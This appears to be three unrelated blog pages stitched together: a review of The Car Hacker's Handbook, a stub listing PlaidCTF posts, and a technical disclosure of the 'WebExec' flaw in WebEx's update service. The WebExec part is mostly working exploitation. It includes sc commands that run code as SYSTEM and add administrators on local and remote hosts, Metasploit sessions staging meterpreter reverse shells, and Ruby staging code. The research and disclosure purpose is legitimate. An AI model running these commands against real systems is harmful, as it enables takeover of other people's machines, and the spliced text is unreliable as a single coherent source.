So, a couple years ago, I thought I'd give Audible a try, and read (err, listen to) some Audiobooks. I was driving from LA to San Francisco, and picked up a fiction book (one of Terry Pratchett's books in the Tiffany Aching series). I hated it (the audio experience), but left Audible installed and my account active.

A few months ago, on a whim, I figured I'd try a non-fiction book. I picked up NOFX's book, "The Hepatitis Bathtub and Other Stories". It was read by the band members and it was super enjoyable to listen while walking and exercising! And, it turns out, Audible had been giving me credits for some reason, and I have like 15 free books or something that I've been consuming like crazy.

Since my real-life friends are sick of listening to me talk about all books I'm reading, I started amusing myself by posting mini-reviews on Facebook, which got some good feedback.

That got me thinking: writing book reviews is kinda fun!

Then a few days ago, I was talking to a publisher friend at Rocky Mountain books , and he mentioned how he there's a reviewer who they sent a bunch of books to, and who didn't write any reviews. My natural thought was, "wow, what a jerk!".

Then I remembered: I'd promised No Starch that I'd write about The Car Hacker's Handbook like two years ago, and totally forgot. Am I the evil scientist jerk?

So now, after re-reading the book, you get to hear my opinions. :)

Threat Models

I've never really written about a technical book before, at least, not to a technical audience. So bear with this stream-of-consciousness style. :)

I think my favourite part of the book is the layout. When writing a book about car hacking to a technical audience, there's always a temptation to start with the "cool stuff" - protocols, exploits, stuff like that. It's also easy to forget about the varied level of your audience, and to assume knowledge. Since I have absolutely zero knowledge about car hacking (or cars, for that matter; my proudest accomplishment is filling the washer fluid by the third try and pulling up to the correct side of the gas pumps), I was a little worried.

At my current job (and previous one), I do product security reviews. I go through the cycle of: "here's something you've never seen before: ramp up, become an expert, and give us good advice. You have one week". If you ever have to do this, here's my best advice: just ask the engineers where they think the security problems are. In 5 minutes of casual conversation, you can find all the problems in a system and look like a hero. I love engineers. :)

But what happens when the engineers don't have security experience, or take an adversarial approach? Or when you want a more thorough / complete review?

That's how I learned to make threat models! Threat models are simply a way to discover the "attack surface", which is where you need to focus your attention as a reviewer (or developer). If you Google the term, you'll find lots of technical information on the "right way" to make a threat model. You might hear about STRIDE (spoofing/tampering/repudiation/information disclosure/denial of service/escalation of privileges). When I tried to use that, I tended to always get stuck on the same question: "what the heck IS 'repudiation', anyways?".

But yeah, that doesn't really matter. I use STRIDE to help me come up with questions and scenarios, but I don't do anything more formal than that.

If you are approaching a new system, and you want a threat model, here's what you do: figure out (or ask) what the pieces are, and how they fit together. The pieces could be servers, processes, data levels, anything like that; basically, things with a different "trust level", or things that shouldn't have full unfettered access to each other (read, or write, or both).

Once you have all that figured out, look at each piece and each connection between pairs of pieces and try to think of what can go wrong. Is plaintext data passing through an insecure medium? Is the user authentication/authorization happening in the right place? Is the traffic all repudiatable (once we figure out what that means)? Can data be forged? Or changed?

It doesn't have to be hard. It doesn't have to match any particular standard. Just figure out what the pieces are and where things can go wrong. If you start there, the rest of a security review is much, much easier for both you and the engineers you're working with. And speaking of the engineers: it's almost always worth the time to work together with engineers to develop a threat model, because they'll remember it next time.

Anyway, getting back to the point: that's the exact starting point that the Car Hacker's Handbook takes! The very first chapter is called "Understanding Threat Models". It opens by taking a "bird's eye view" of a car's systems, and talking about the big pieces: the cellular receiver, the Bluetooth, the wifi, the "infotainment" console, and so on. All these pieces that I was vaguely aware of in my car, but didn't really know the specifics of.

It then breaks them down into the protocols they use, what the range is, and how they're parsed. For example, the Bluetooth is "near range", and is often handled by "Bluez". USB is, obviously, a cable connection, and is typically handled by udev in the kernel. And so on.

Then they look at the potential threats: remotely taking over a vehicle, unlocking it, stealing it, tracking it, and so on.

For every protocol, it looks at every potential threat and how it might be affected.

This is the perfect place to start! The authors made the right choice, no doubt about it!

(Sidenote: because the rule of comedy is that 3 references to something is funnier than 2, and I couldn't find a logical third place to mention it, I just want to say "repudiation" again.)

Protocols

If you read my blog regularly, you know that I love protocols. The reason I got into information security in the first place was by reverse engineering Starcraft's game protocol and implementing and documenting it (others had reversed it before, but nobody had published the information).

So I found the section on protocols intriguing! It's not like the olden days, when every protocol was custom and proprietary and weird: most of the protocols are well documented, and it just requires the right hardware to interface with it.

I don't want to dwell on this too much, but the book spends a TON of time talking about how to find physical ports, sniff protocols, understand what you're seeing, and figure out how to do things like unlock your doors in a logical, step-by-step manner. These protocols are all new to me, but I loved the logical approach that they took throughout the protocol chapters. For somebody like me, having no experience with car hacking or even embedded systems, it was super easy to follow and super informative!

It's good enough that I wanted to buy a new car just so I could hack it. Unfortunately, my accountant didn't think I'd be able to write it off as a business expense. :(

Attacks

After going over the protocols, the book moves to attacks. I had just taken a really good class on hardware exploitation, and many of the same principles applied: dumping firmware, reverse engineering it, and exploring the attack surfaces.

Not being a hardware guy, I don't really want to attempt to reproduce this part in any great detail. It goes into a ton of detail on building out a lab, exploring attack surfaces (like the "infotainment" system, vehicle-to-vehicle communication, and even using SDR (software defined radio) to eavesdrop and inject into the wireless communication streams).

Conclusion

So yeah, this book is definitely well worth the read!

The progression is logical, and it's an incredible introduction, even for somebody with absolutely no knowledge of cars or embedded systems!

Also: I'd love to hear feedback on this post! I'm always looking for new things to write about, and if people legitimately enjoy hearing about the books I read, I'll definitely do more of this!

3 thoughts on “Book review: The Car Hacker’s Handbook

  1. Reply

    Alessandro Stamatto

    Fun post/review! I think my Car is too old to be hacked ?.

    For posts suggestions: I like book reviews! Another topic that I'm curious is how to reverse Game Network Protocols. It seems very hard (Crypto, server challanges, anti-reversing rootkits...)

  2. Reply

    CapitanShinChan

    Nice post! Waiting for the 2nd part.

    As Alessandro Said, I would also love to know more about "game hacking". Probably I would buy the nostarch book (https://www.nostarch.com/gamehacking) next month and start reverse engineering some games (so I can improve my radare skills).

  3. Reply

    Grazfather

    Good post. I also appreciated the approach that started with making a 'formal' threat model.

Leave a Reply

Your email address will not be published.

 

#####EOF##### PlaidCTF 2013 » SkullSecurity

ropasaurusrex: a primer on return-oriented programming

One of the worst feelings when playing a capture-the-flag challenge is the hindsight problem. You spend a few hours on a level—nothing like the amount of time I spent on cnot, not by a fraction—and realize that it was actually pretty easy. But also a brainfuck. That's what ROP's all about, after all! Anyway, even […]

Epic “cnot” Writeup (highest value level from PlaidCTF)

When I was at Shmoocon, I saw a talk about how to write an effective capture-the-flag contest. One of their suggestions was to have a tar-pit challenge that would waste all the time of the best player, by giving him a complicated challenge he won't be able to resist. In my opinion, in PlaidCTF, I […]

#####EOF##### Technical Rundown of WebExec » SkullSecurity


Technical Rundown of WebExec

This is a technical rundown of a vulnerability that we've dubbed "WebExec". The summary is: a flaw in WebEx's WebexUpdateService allows anyone with a login to the Windows system where WebEx is installed to run SYSTEM-level code remotely. That's right: this client-side application that doesn't listen on any ports is actually vulnerable to remote code execution! A local or domain account will work, making this a powerful way to pivot through networks until it's patched.

High level details and FAQ at https://webexec.org! Below is a technical writeup of how we found the bug and how it works.

Credit

This vulnerability was discovered by myself and Jeff McJunkin from Counter Hack during a routine pentest. Thanks to Ed Skoudis for permission to post this writeup.

If you have any questions or concerns, I made an email alias specifically for this issue: info@webexec.org!

You can download a vulnerable installer here and a patched one here, in case you want to play with this yourself! It probably goes without saying, but be careful if you run the vulnerable version!

Intro

During a recent pentest, we found an interesting vulnerability in the WebEx client software while we were trying to escalate local privileges on an end-user laptop. Eventually, we realized that this vulnerability is also exploitable remotely (given any domain user account) and decided to give it a name: WebExec. Because every good vulnerability has a name!

As far as we know, a remote attack against a 3rd party Windows service is a novel type of attack. We're calling the class "thank you for your service", because we can, and are crossing our fingers that more are out there!

The actual version of WebEx is the latest client build as of August, 2018: Version 3211.0.1801.2200, modified 7/19/2018 SHA1: bf8df54e2f49d06b52388332938f5a875c43a5a7. We've tested some older and newer versions since then, and they are still vulnerable.

WebEx released patch on October 3, but requested we maintain embargo until they release their advisory. You can find all the patching instructions on webexec.org.

The good news is, the patched version of this service will only run files that are signed by WebEx. The bad news is, there are a lot of those out there (including the vulnerable version of the service!), and the service can still be started remotely. If you're concerned about the service being remotely start-able by any user (which you should be!), the following command disables that function:

c:\>sc sdset webexservice D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWRPWPLORC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)

That removes remote and non-interactive access from the service. It will still be vulnerable to local privilege escalation, though, without the patch.

Privilege Escalation

What initially got our attention is that folder (c:\ProgramData\WebEx\WebEx\Applications\) is readable and writable by everyone, and it installs a service called "webexservice" that can be started and stopped by anybody. That's not good! It is trivial to replace the .exe or an associated .dll with anything we like, and get code execution at the service level (that's SYSTEM). That's an immediate vulnerability, which we reported, and which ZDI apparently beat us to the punch on, since it was fixed on September 5, 2018, based on their report.

Due to the application whitelisting, however, on this particular assessment we couldn't simply replace this with a shell! The service starts non-interactively (ie, no window and no commandline arguments). We explored a lot of different options, such as replacing the .exe with other binaries (such as cmd.exe), but no GUI meant no ability to run commands.

One test that almost worked was replacing the .exe with another whitelisted application, msbuild.exe, which can read arbitrary C# commands out of a .vbproj file in the same directory. But because it's a service, it runs with the working directory c:\windows\system32, and we couldn't write to that folder!

At that point, my curiosity got the best of me, and I decided to look into what webexservice.exe actually does under the hood. The deep dive ended up finding gold! Let's take a look

Deep dive into WebExService.exe

It's not really a good motto, but when in doubt, I tend to open something in IDA. The two easiest ways to figure out what a process does in IDA is the strings windows (shift-F12) and the imports window. In the case of webexservice.exe, most of the strings were related to Windows service stuff, but something caught my eye:

  .rdata:00405438 ; wchar_t aSCreateprocess
  .rdata:00405438 aSCreateprocess:                        ; DATA XREF: sub_4025A0+1E8o
  .rdata:00405438                 unicode 0, <%s::CreateProcessAsUser:%d;%ls;%ls(%d).>,0

I found the import for CreateProcessAsUserW in advapi32.dll, and looked at how it was called:

  .text:0040254E                 push    [ebp+lpProcessInformation] ; lpProcessInformation
  .text:00402554                 push    [ebp+lpStartupInfo] ; lpStartupInfo
  .text:0040255A                 push    0               ; lpCurrentDirectory
  .text:0040255C                 push    0               ; lpEnvironment
  .text:0040255E                 push    0               ; dwCreationFlags
  .text:00402560                 push    0               ; bInheritHandles
  .text:00402562                 push    0               ; lpThreadAttributes
  .text:00402564                 push    0               ; lpProcessAttributes
  .text:00402566                 push    [ebp+lpCommandLine] ; lpCommandLine
  .text:0040256C                 push    0               ; lpApplicationName
  .text:0040256E                 push    [ebp+phNewToken] ; hToken
  .text:00402574                 call    ds:CreateProcessAsUserW

The W on the end refers to the UNICODE ("wide") version of the function. When developing Windows code, developers typically use CreateProcessAsUser in their code, and the compiler expands it to CreateProcessAsUserA for ASCII, and CreateProcessAsUserW for UNICODE. If you look up the function definition for CreateProcessAsUser, you'll find everything you need to know.

In any case, the two most important arguments here are hToken - the user it creates the process as - and lpCommandLine - the command that it actually runs. Let's take a look at each!

hToken

The code behind hToken is actually pretty simple. If we scroll up in the same function that calls CreateProcessAsUserW, we can just look at API calls to get a feel for what's going on. Trying to understand what code's doing simply based on the sequence of API calls tends to work fairly well in Windows applications, as you'll see shortly.

At the top of the function, we see:

  .text:0040241E                 call    ds:CreateToolhelp32Snapshot

This is a normal way to search for a specific process in Win32 - it creates a "snapshot" of the running processes and then typically walks through them using Process32FirstW and Process32NextW until it finds the one it needs. I even used the exact same technique a long time ago when I wrote my Injector tool for loading a custom .dll into another process (sorry for the bad code.. I wrote it like 15 years ago).

Based simply on knowledge of the APIs, we can deduce that it's searching for a specific process. If we keep scrolling down, we can find a call to _wcsicmp, which is a Microsoft way of saying stricmp for UNICODE strings:

  .text:00402480                 lea     eax, [ebp+Str1]
  .text:00402486                 push    offset Str2     ; "winlogon.exe"
  .text:0040248B                 push    eax             ; Str1
  .text:0040248C                 call    ds:_wcsicmp
  .text:00402492                 add     esp, 8
  .text:00402495                 test    eax, eax
  .text:00402497                 jnz     short loc_4024BE

Specifically, it's comparing the name of each process to "winlogon.exe" - so it's trying to get a handle to the "winlogon.exe" process!

If we continue down the function, you'll see that it calls OpenProcess, then OpenProcessToken, then DuplicateTokenEx. That's another common sequence of API calls - it's how a process can get a handle to another process's token. Shortly after, the token it duplicates is passed to CreateProcessAsUserW as hToken.

To summarize: this function gets a handle to winlogon.exe, duplicates its token, and creates a new process as the same user (SYSTEM). Now all we need to do is figure out what the process is!

An interesting takeaway here is that I didn't really really read assembly at all to determine any of this: I simply followed the API calls. Often, reversing Windows applications is just that easy!

lpCommandLine

This is where things get a little more complicated, since there are a series of function calls to traverse to figure out lpCommandLine. I had to use a combination of reversing, debugging, troubleshooting, and eventlogs to figure out exactly where lpCommandLine comes from. This took a good full day, so don't be discouraged by this quick summary - I'm skipping an awful lot of dead ends and validation to keep just to the interesting bits.

One such dead end: I initially started by working backwards from CreateProcessAsUserW, or forwards from main(), but I quickly became lost in the weeds and decided that I'd have to go the other route. While scrolling around, however, I noticed a lot of debug strings and calls to the event log. That gave me an idea - I opened the Windows event viewer (eventvwr.msc) and tried to start the process with sc start webexservice:

C:\Users\ron>sc start webexservice

SERVICE_NAME: webexservice
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 2  START_PENDING
                                (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
[...]

You may need to configure Event Viewer to show everything in the Application logs, I didn't really know what I was doing, but eventually I found a log entry for WebExService.exe:

  ExecuteServiceCommand::Not enough command line arguments to execute a service command.

That's handy! Let's search for that in IDA (alt+T)! That leads us to this code:

  .text:004027DC                 cmp     edi, 3
  .text:004027DF                 jge     short loc_4027FD
  .text:004027E1                 push    offset aExecuteservice ; &quot;ExecuteServiceCommand&quot;
  .text:004027E6                 push    offset aSNotEnoughComm ; &quot;%s::Not enough command line arguments t&quot;...
  .text:004027EB                 push    2               ; wType
  .text:004027ED                 call    sub_401770

A tiny bit of actual reversing: compare edit to 3, jump if greater or equal, otherwise print that we need more commandline arguments. It doesn't take a huge logical leap to determine that we need 2 or more commandline arguments (since the name of the process is always counted as well). Let's try it:

C:\Users\ron>sc start webexservice a b

[...]

Then check Event Viewer again:

  ExecuteServiceCommand::Service command not recognized: b.

Don't you love verbose error messages? It's like we don't even have to think! Once again, search for that string in IDA (alt+T) and we find ourselves here:

  .text:00402830 loc_402830:                             ; CODE XREF: sub_4027D0+3Dj
  .text:00402830                 push    dword ptr [esi+8]
  .text:00402833                 push    offset aExecuteservice ; "ExecuteServiceCommand"
  .text:00402838                 push    offset aSServiceComman ; "%s::Service command not recognized: %ls"...
  .text:0040283D                 push    2               ; wType
  .text:0040283F                 call    sub_401770

If we scroll up just a bit to determine how we get to that error message, we find this:

  .text:004027FD loc_4027FD:                             ; CODE XREF: sub_4027D0+Fj
  .text:004027FD                 push    offset aSoftwareUpdate ; "software-update"
  .text:00402802                 push    dword ptr [esi+8] ; lpString1
  .text:00402805                 call    ds:lstrcmpiW
  .text:0040280B                 test    eax, eax
  .text:0040280D                 jnz     short loc_402830 ; <-- Jumps to the error we saw
  .text:0040280F                 mov     [ebp+var_4], eax
  .text:00402812                 lea     edx, [esi+0Ch]
  .text:00402815                 lea     eax, [ebp+var_4]
  .text:00402818                 push    eax
  .text:00402819                 push    ecx
  .text:0040281A                 lea     ecx, [edi-3]
  .text:0040281D                 call    sub_4025A0

The string software-update is what the string is compared to. So instead of b, let's try software-update and see if that gets us further! I want to once again point out that we're only doing an absolutely minimum amount of reverse engineering at the assembly level - we're basically entirely using API calls and error messages!

Here's our new command:

C:\Users\ron>sc start webexservice a software-update

[...]

Which results in the new log entry:

  Faulting application name: WebExService.exe, version: 3211.0.1801.2200, time stamp: 0x5b514fe3
  Faulting module name: WebExService.exe, version: 3211.0.1801.2200, time stamp: 0x5b514fe3
  Exception code: 0xc0000005
  Fault offset: 0x00002643
  Faulting process id: 0x654
  Faulting application start time: 0x01d42dbbf2bcc9b8
  Faulting application path: C:\ProgramData\Webex\Webex\Applications\WebExService.exe
  Faulting module path: C:\ProgramData\Webex\Webex\Applications\WebExService.exe
  Report Id: 31555e60-99af-11e8-8391-0800271677bd

Uh oh! I'm normally excited when I get a process to crash, but this time I'm actually trying to use its features! What do we do!?

First of all, we can look at the exception code: 0xc0000005. If you Google it, or develop low-level software, you'll know that it's a memory fault. The process tried to access a bad memory address (likely NULL, though I never verified).

The first thing I tried was the brute-force approach: let's add more commandline arguments! My logic was that it might require 2 arguments, but actually use the third and onwards for something then crash when they aren't present.

So I started the service with the following commandline:

C:\Users\ron>sc start webexservice a software-update a b c d e f

[...]

That led to a new crash, so progress!

  Faulting application name: WebExService.exe, version: 3211.0.1801.2200, time stamp: 0x5b514fe3
  Faulting module name: MSVCR120.dll, version: 12.0.21005.1, time stamp: 0x524f7ce6
  Exception code: 0x40000015
  Fault offset: 0x000a7676
  Faulting process id: 0x774
  Faulting application start time: 0x01d42dbc22eef30e
  Faulting application path: C:\ProgramData\Webex\Webex\Applications\WebExService.exe
  Faulting module path: C:\ProgramData\Webex\Webex\Applications\MSVCR120.dll
  Report Id: 60a0439c-99af-11e8-8391-0800271677bd

I had to google 0x40000015; it means STATUS_FATAL_APP_EXIT. In other words, the app exited, but hard - probably a failed assert()? We don't really have any output, so it's hard to say.

This one took me awhile, and this is where I'll skip the deadends and debugging and show you what worked.

Basically, keep following the codepath immediately after the software-update string we saw earlier. Not too far after, you'll see this function call:

  .text:0040281D                 call    sub_4025A0

If you jump into that function (double click), and scroll down a bit, you'll see:

  .text:00402616                 mov     [esp+0B4h+var_70], offset aWinsta0Default ; "winsta0\\Default"

I used the most advanced technique in my arsenal here and googled that string. It turns out that it's a handle to the default desktop and is frequently used when starting a new process that needs to interact with the user. That's a great sign, it means we're almost there!

A little bit after, in the same function, we see this code:

  .text:004026A2                 push    eax             ; EndPtr
  .text:004026A3                 push    esi             ; Str
  .text:004026A4                 call    ds:wcstod ; <--
  .text:004026AA                 add     esp, 8
  .text:004026AD                 fstp    [esp+0B4h+var_90]
  .text:004026B1                 cmp     esi, [esp+0B4h+EndPtr+4]
  .text:004026B5                 jnz     short loc_4026C2
  .text:004026B7                 push    offset aInvalidStodArg ; &quot;invalid stod argument&quot;
  .text:004026BC                 call    ds:?_Xinvalid_argument@std@@YAXPBD@Z ; std::_Xinvalid_argument(char const *)

The line with an error - wcstod() is close to where the abort() happened. I'll spare you the debugging details - debugging a service was non-trivial - but I really should have seen that function call before I got off track.

I looked up wcstod() online, and it's another of Microsoft's cleverly named functions. This one converts a string to a number. If it fails, the code references something called std::_Xinvalid_argument. I don't know exactly what it does from there, but we can assume that it's looking for a number somewhere.

This is where my advice becomes "be lucky". The reason is, the only number that will actually work here is "1". I don't know why, or what other numbers do, but I ended up calling the service with the commandline:

C:\Users\ron>sc start webexservice a software-update 1 2 3 4 5 6

And checked the event log:

  StartUpdateProcess::CreateProcessAsUser:1;1;2 3 4 5 6(18).

That looks awfully promising! I changed 2 to an actual process:

  C:\Users\ron>sc start webexservice a software-update 1 calc c d e f

And it opened!

C:\Users\ron>tasklist | find "calc"
calc.exe                      1476 Console                    1     10,804 K

It actually runs with a GUI, too, so that's kind of unnecessary. I could literally see it! And it's running as SYSTEM!

Speaking of unknowns, running cmd.exe and powershell the same way does not appear to work. We can, however, run wmic.exe and net.exe, so we have some choices!

Local exploit

The simplest exploit is to start cmd.exe with wmic.exe:

C:\Users\ron>sc start webexservice a software-update 1 wmic process call create "cmd.exe"

That opens a GUI cmd.exe instance as SYSTEM:

Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>whoami
nt authority\system

If we can't or choose not to open a GUI, we can also escalate privileges:

C:\Users\ron>net localgroup administrators
[...]
Administrator
ron

C:\Users\ron>sc start webexservice a software-update 1 net localgroup administrators testuser /add
[...]

C:\Users\ron>net localgroup administrators
[...]
Administrator
ron
testuser

And this all works as an unprivileged user!

Jeff wrote a local module for Metasploit to exploit the privilege escalation vulnerability. If you have a non-SYSTEM session on the affected machine, you can use it to gain a SYSTEM account:

meterpreter > getuid
Server username: IEWIN7\IEUser

meterpreter > background
[*] Backgrounding session 2...

msf exploit(multi/handler) > use exploit/windows/local/webexec
msf exploit(windows/local/webexec) > set SESSION 2
SESSION => 2

msf exploit(windows/local/webexec) > set payload windows/meterpreter/reverse_tcp
msf exploit(windows/local/webexec) > set LHOST 172.16.222.1
msf exploit(windows/local/webexec) > set LPORT 9001
msf exploit(windows/local/webexec) > run

[*] Started reverse TCP handler on 172.16.222.1:9001
[*] Checking service exists...
[*] Writing 73802 bytes to %SystemRoot%\Temp\yqaKLvdn.exe...
[*] Launching service...
[*] Sending stage (179779 bytes) to 172.16.222.132
[*] Meterpreter session 2 opened (172.16.222.1:9001 -> 172.16.222.132:49574) at 2018-08-31 14:45:25 -0700
[*] Service started...

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Remote exploit

We actually spent over a week knowing about this vulnerability without realizing that it could be used remotely! The simplest exploit can still be done with the Windows sc command. Either create a session to the remote machine or create a local user with the same credentials, then run cmd.exe in the context of that user (runas /user:newuser cmd.exe). Once that's done, you can use the exact same command against the remote host:

c:\>sc \\10.0.0.0 start webexservice a software-update 1 net localgroup administrators testuser /add

The command will run (and a GUI will even pop up!) on the other machine.

Remote exploitation with Metasploit

To simplify this attack, I wrote a pair of Metasploit modules. One is an auxiliary module that implements this attack to run an arbitrary command remotely, and the other is a full exploit module. Both require a valid SMB account (local or domain), and both mostly depend on the WebExec library that I wrote.

Here is an example of using the auxiliary module to run calc on a bunch of vulnerable machines:

msf5 > use auxiliary/admin/smb/webexec_command
msf5 auxiliary(admin/smb/webexec_command) > set RHOSTS 192.168.1.100-110
RHOSTS => 192.168.56.100-110
msf5 auxiliary(admin/smb/webexec_command) > set SMBUser testuser
SMBUser => testuser
msf5 auxiliary(admin/smb/webexec_command) > set SMBPass testuser
SMBPass => testuser
msf5 auxiliary(admin/smb/webexec_command) > set COMMAND calc
COMMAND => calc
msf5 auxiliary(admin/smb/webexec_command) > exploit

[-] 192.168.56.105:445    - No service handle retrieved
[+] 192.168.56.105:445    - Command completed!
[-] 192.168.56.103:445    - No service handle retrieved
[+] 192.168.56.103:445    - Command completed!
[+] 192.168.56.104:445    - Command completed!
[+] 192.168.56.101:445    - Command completed!
[*] 192.168.56.100-110:445 - Scanned 11 of 11 hosts (100% complete)
[*] Auxiliary module execution completed

And here's the full exploit module:

msf5 > use exploit/windows/smb/webexec
msf5 exploit(windows/smb/webexec) > set SMBUser testuser
SMBUser => testuser
msf5 exploit(windows/smb/webexec) > set SMBPass testuser
SMBPass => testuser
msf5 exploit(windows/smb/webexec) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf5 exploit(windows/smb/webexec) > set RHOSTS 192.168.56.101
RHOSTS => 192.168.56.101
msf5 exploit(windows/smb/webexec) > exploit

[*] 192.168.56.101:445 - Connecting to the server...
[*] 192.168.56.101:445 - Authenticating to 192.168.56.101:445 as user 'testuser'...
[*] 192.168.56.101:445 - Command Stager progress -   0.96% done (999/104435 bytes)
[*] 192.168.56.101:445 - Command Stager progress -   1.91% done (1998/104435 bytes)
...
[*] 192.168.56.101:445 - Command Stager progress -  98.52% done (102891/104435 bytes)
[*] 192.168.56.101:445 - Command Stager progress -  99.47% done (103880/104435 bytes)
[*] 192.168.56.101:445 - Command Stager progress - 100.00% done (104435/104435 bytes)
[*] Started bind TCP handler against 192.168.56.101:4444
[*] Sending stage (179779 bytes) to 192.168.56.101

The actual implementation is mostly straight forward if you look at the code linked above, but I wanted to specifically talk about the exploit module, since it had an interesting problem: how do you initially get a meterpreter .exe uploaded to execute it?

I started by using a psexec-like exploit where we upload the .exe file to a writable share, then execute it via WebExec. That proved problematic, because uploading to a share frequently requires administrator privileges, and at that point you could simply use psexec instead. You lose the magic of WebExec!

After some discussion with Egyp7, I realized I could use the Msf::Exploit::CmdStager mixin to stage the command to an .exe file to the filesystem. Using the .vbs flavor of staging, it would write a Base64-encoded file to the disk, then a .vbs stub to decode and execute it!

There are several problems, however:

  • The max line length is ~1200 characters, whereas the CmdStager mixin uses ~2000 characters per line
  • CmdStager uses %TEMP% as a temporary directory, but our exploit doesn't expand paths
  • WebExecService seems to escape quotation marks with a backslash, and I'm not sure how to turn that off

The first two issues could be simply worked around by adding options (once I'd figured out the options to use):

wexec(true) do |opts|
  opts[:flavor] = :vbs
  opts[:linemax] = datastore["MAX_LINE_LENGTH"]
  opts[:temp] = datastore["TMPDIR"]
  opts[:delay] = 0.05
  execute_cmdstager(opts)
end

execute_cmdstager() will execute execute_command() over and over to build the payload on-disk, which is where we fix the final issue:

# This is the callback for cmdstager, which breaks the full command into
# chunks and sends it our way. We have to do a bit of finangling to make it
# work correctly
def execute_command(command, opts)
  # Replace the empty string, "", with a workaround - the first 0 characters of "A"
  command = command.gsub('""', 'mid(Chr(65), 1, 0)')

  # Replace quoted strings with Chr(XX) versions, in a naive way
  command = command.gsub(/"[^"]*"/) do |capture|
    capture.gsub(/"/, "").chars.map do |c|
      "Chr(#{c.ord})"
    end.join('+')
  end

  # Prepend "cmd /c" so we can use a redirect
  command = "cmd /c " + command

  execute_single_command(command, opts)
end

First, it replaces the empty string with mid(Chr(65), 1, 0), which works out to characters 1 - 1 of the string "A". Or the empty string!

Second, it replaces every other string with Chr(n)+Chr(n)+.... We couldn't use &, because that's already used by the shell to chain commands. I later learned that we can escape it and use ^&, which works just fine, but + is shorter so I stuck with that.

And finally, we prepend cmd /c to the command, which lets us echo to a file instead of just passing the > symbol to the process. We could probably use ^> instead.

In a targeted attack, it's obviously possible to do this much more cleanly, but this seems to be a great way to do it generically!

Checking for the patch

This is one of those rare (or maybe not so rare?) instances where exploiting the vulnerability is actually easier than checking for it!

The patched version of WebEx still allows remote users to connect to the process and start it. However, if the process detects that it's being asked to run an executable that is not signed by WebEx, the execution will halt. Unfortunately, that gives us no information about whether a host is vulnerable!

There are a lot of targeted ways we could validate whether code was run. We could use a DNS request, telnet back to a specific port, drop a file in the webroot, etc. The problem is that unless we have a generic way to check, it's no good as a script!

In order to exploit this, you have to be able to get a handle to the service-controlservice (svcctl), so to write a checker, I decided to install a fake service, try to start it, then delete the service. If starting the service returns either OK or ACCESS_DENIED, we know it worked!

Here's the important code from the Nmap checker module we developed:

-- Create a test service that we can query
local webexec_command = "sc create " .. test_service .. " binpath= c:\\fakepath.exe"
status, result = msrpc.svcctl_startservicew(smbstate, open_service_result['handle'], stdnse.strsplit(" ", "install software-update 1 " .. webexec_command))

-- ...

local test_status, test_result = msrpc.svcctl_openservicew(smbstate, open_result['handle'], test_service, 0x00000)

-- If the service DOES_NOT_EXIST, we couldn't run code
if string.match(test_result, 'DOES_NOT_EXIST') then
  stdnse.debug("Result: Test service does not exist: probably not vulnerable")
  msrpc.svcctl_closeservicehandle(smbstate, open_result['handle'])

  vuln.check_results = "Could not execute code via WebExService"
  return report:make_output(vuln)
end

Not shown: we also delete the service once we're finished.

Conclusion

So there you have it! Escalating privileges from zero to SYSTEM using WebEx's built-in update service! Local and remote! Check out webexec.org for tools and usage instructions!

4 thoughts on “Technical Rundown of WebExec

  1. Reply

    Benjamin

    Nice write up!

  2. Reply

    Gil

    I have been trying to use smb-vuln-webexe.nse, it seems to attempt to connect to CUSTOMERS\. In the code, it starts smb with msrpc.start_smb(host, msrpc.SVCCTL_PATH). How is that SVCCTL_PATH getting set? No matter what username and password I provide (I know the ones I am giving are good on the domain and on the test host), it keeps telling me it failed to connect with that username...
    SMB: Extended login to as CUSTOMERS\ failed (NT_STATUS_LOGON_FAILURE)

  3. Reply

    Joseph S Pierini

    Ron,

    Could you give me a bit of an understanding of your test bed? I have been unable to reproduce this using the version you provided running on various Windows 7 Pro/Ultimate platforms.

    The nmap script outputs the following:

    nmap --script smb-webexec-exploit --script-args='smbuser=admin,smbpass=password,smbdomain=WORKGROUP,webexec_command=net user nmap nmap /add' -p445 -d 192.168.1.206
    Starting Nmap 7.70 ( https://nmap.org ) at 2018-11-07 14:00 PST
    --------------- Timing report ---------------
    hostgroups: min 1, max 100000
    rtt-timeouts: init 1000, min 100, max 10000
    max-scan-delay: TCP 1000, UDP 1000, SCTP 1000
    parallelism: min 0, max 0
    max-retries: 10, host-timeout: 0
    min-rate: 0, max-rate: 0
    ---------------------------------------------
    NSE: Using Lua 5.3.
    NSE: Arguments from CLI: smbuser=admin,smbpass=password,smbdomain=WORKGROUP,webexec_command=net user nmap nmap /add
    NSE: Arguments parsed: smbuser=admin,smbpass=password,smbdomain=WORKGROUP,webexec_command=net user nmap nmap /add
    NSE: Loaded 1 scripts for scanning.
    NSE: Script Pre-scanning.
    NSE: Starting runlevel 1 (of 1) scan.
    Initiating NSE at 14:00
    Completed NSE at 14:00, 0.00s elapsed
    Initiating Ping Scan at 14:00
    Scanning 192.168.1.206 [2 ports]
    Completed Ping Scan at 14:00, 0.00s elapsed (1 total hosts)
    Overall sending rates: 1581.03 packets / s.
    mass_rdns: Using DNS server 8.8.8.8
    Initiating Parallel DNS resolution of 1 host. at 14:00
    mass_rdns: 0.02s 0/1 [#: 1, OK: 0, NX: 0, DR: 0, SF: 0, TR: 1]
    Completed Parallel DNS resolution of 1 host. at 14:00, 0.02s elapsed
    DNS resolution of 1 IPs took 0.02s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
    Initiating Connect Scan at 14:00
    Scanning 192.168.1.206 [1 port]
    Discovered open port 445/tcp on 192.168.1.206
    Completed Connect Scan at 14:00, 0.00s elapsed (1 total ports)
    Overall sending rates: 1138.95 packets / s.
    NSE: Script scanning 192.168.1.206.
    NSE: Starting runlevel 1 (of 1) scan.
    Initiating NSE at 14:00
    NSE: Starting smb-webexec-exploit against 192.168.1.206:445.
    NSE: [smb-webexec-exploit 192.168.1.206:445] SMB: Added account '' to account list
